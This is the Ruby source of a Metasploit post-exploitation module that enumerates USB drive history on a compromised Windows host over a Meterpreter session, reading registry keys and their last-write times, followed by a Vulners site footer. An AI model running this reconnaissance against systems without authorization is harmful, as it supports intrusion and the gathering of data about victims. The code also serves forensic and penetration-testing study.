##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather USB Drive History',
'Description' => %q{ This module will enumerate USB Drive history on a target host.},
'License' => MSF_LICENSE,
'Author' => [ 'nebulus'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_registry_open_key
]
}
}
)
)
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
# Cache it so as to make it just a bit faster
isadmin = is_admin?
# enumerate disks for potentially tying to a drive letter later
@drives = enum_disks
out = "\n"
@drives.each do |u, v|
out << sprintf("%5s\t%75s\n", v, u.gsub("\x00", ''))
end
print_status(out)
usb_drive_classes = enum_subkeys('HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR')
usb_uids_to_info = {}
if !usb_drive_classes.nil?
usb_drive_classes.each do |x|
enum_subkeys(x).each do |y|
vals = enum_values(y)
# enumerate each USB device used on the system
usb_uids_to_info.store(x.match(/HKLM\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\\(.*)$/)[1], vals)
rescue StandardError
end
end
usb_uids_to_info.each do |u, v|
guid = '##?#USBSTOR#' << u << '#' << '{53f56307-b6bf-11d0-94f2-00a0c91efb8b}'
out = "#{v['FriendlyName']}\n" << '=' * 85 << "\n"
if isadmin
mace = registry_getkeylastwritetime('HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\\' << guid)
if mace
keytime = ::Time.at(mace)
else
keytime = 'Unknown'
end
out << sprintf("%25s\t%50s\n", 'Disk lpftLastWriteTime', keytime)
end
if !v.key?('ParentIdPrefix')
print_status(info_hash_to_str(out, v))
next
end
guid = '##?#STORAGE#RemoveableMedia#' << v['ParentIdPrefix'] << '&RM#' << '{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
if isadmin
mace = registry_getkeylastwritetime('HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\' << guid)
if mace
keytime = ::Time.at(mace)
else
keytime = 'Unknown'
end
out << sprintf("%25s\t%50s\n", 'Volume lpftLastWriteTime', keytime)
end
print_status(info_hash_to_str(out, v))
end
else
print_error('No USB devices appear to have been connected to this host.')
end
end
#-------------------------------------------------------------------------------
# Function for querying the registry key for the last write time
# key_str Full string representation of the key to be queried
# returns unix timestamp in relation to epoch
def registry_getkeylastwritetime(key_str = nil)
return nil if !key_str
# RegQueryInfoKey - http://msdn.microsoft.com/en-us/library/ms724902%28v=vs.85%29.aspx
# last argument is PFILETIME lpftLastWriteTime, two DWORDS
# PFILETIME - http://msdn.microsoft.com/en-us/library/ms724284%28v=vs.85%29.aspx, two DWORDS DWORD dwLowDateTime; DWORD dwHighDateTime;
# can use Rex::Proto::SMB::Utils.time_smb_to_unix to convert to unix epoch
begin
r, b = session.sys.registry.splitkey(key_str)
key = session.sys.registry.open_key(r, b.to_s, KEY_READ)
mytime = session.railgun.advapi32.RegQueryInfoKeyA(key.hkey, nil, nil, nil, nil, nil, nil, nil, nil, nil, nil, 8)['lpftLastWriteTime']
key.close
lo, hi = mytime.unpack('V2')
return Rex::Proto::SMB::Utils.time_smb_to_unix(hi, lo)
rescue StandardError
return nil
end
end
#-------------------------------------------------------------------------------
# Function to enumerate the next level of keys from the given key
# key_str Full string representation of the key for which subkeys should be enumerated
# returns Array of string representations of subkeys
def enum_subkeys(key_str = nil)
return nil if !key_str
r, b = session.sys.registry.splitkey(key_str)
begin
key = session.sys.registry.open_key(r, b.to_s, KEY_READ)
full_keys = []
key.enum_key.each do |x|
full_keys.push(key_str.to_s << '\\' << x.to_s)
end
key.close
rescue StandardError
return nil
end
return full_keys
end
#-------------------------------------------------------------------------------
# Function to enumerate the values in the given key
# key_str Full string representation of the key from which values should be enumerated
# returns Hash of string representations of: Value.name => Value
def enum_values(key_str = nil)
return nil if !key_str
r, b = session.sys.registry.splitkey(key_str.to_s)
key = session.sys.registry.open_key(r, b.to_s, KEY_READ)
values = {}
key.enum_value.each do |x|
values.store(x.name, x.query)
end
key.close
return values
end
#--------------------------------------------------------------------------------------------------
# Function to enumerate the disks (not volumes) mounted as contained in HKLM\System\MountedDevices
# returns Hash of string representations of: assigned drive letter => UID
def enum_disks
r, b = session.sys.registry.splitkey('HKLM\\SYSTEM\\MountedDevices')
key = session.sys.registry.open_key(r, b.to_s, KEY_READ)
ret = {}
values = key.enum_value
values.each do |x|
next if x.name !~ /\\DosDevices\\/
name = x.name
name = name.gsub('\\DosDevices\\', '')
value = x.query
if (value[0..0] != '\\')
str = ''
tmp = value.unpack('V')
tmp.each do |x|
str << "Disk #{x.to_s(16)} "
end
ret.store(str, name)
else
tmp = x.query
tmp.gsub!(/\\/, '')
tmp.gsub!(/\?/, '')
ret.store(tmp, name)
end
end
key.close
return ret
end
def info_hash_to_str(str, hash)
out = str
out << sprintf("%25s\t%50s\n", 'Manufacturer', hash['Mfg'])
if hash.key?('ParentIdPrefix')
mounted_as = nil
@drives.each do |x, y|
# go through mounted drives and see if this volume is mounted
next if x !~ /\#/ # truncated disk volume that doesnt apply to removable media
tmp = x.split(/\#/)[2].gsub!(/\x00/, '') # ParentIdPrefix will be 3rd item, trip internal \x00
tmp.gsub!(/&RM$/i, '') # get rid of RM on end if its there
mounted_as = y if (tmp.downcase == hash['ParentIdPrefix'].downcase)
end
if mounted_as
out << sprintf("%25s\t%50s (%5s)\n", 'ParentIdPrefix', hash['ParentIdPrefix'], mounted_as)
else
out << sprintf("%25s\t%50s\n", 'ParentIdPrefix', hash['ParentIdPrefix'])
end
end
out << sprintf("%25s\t%50s\n", 'Class', hash['Class'])
out << sprintf("%25s\t%50s\n", 'Driver', hash['Driver'])
return out
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation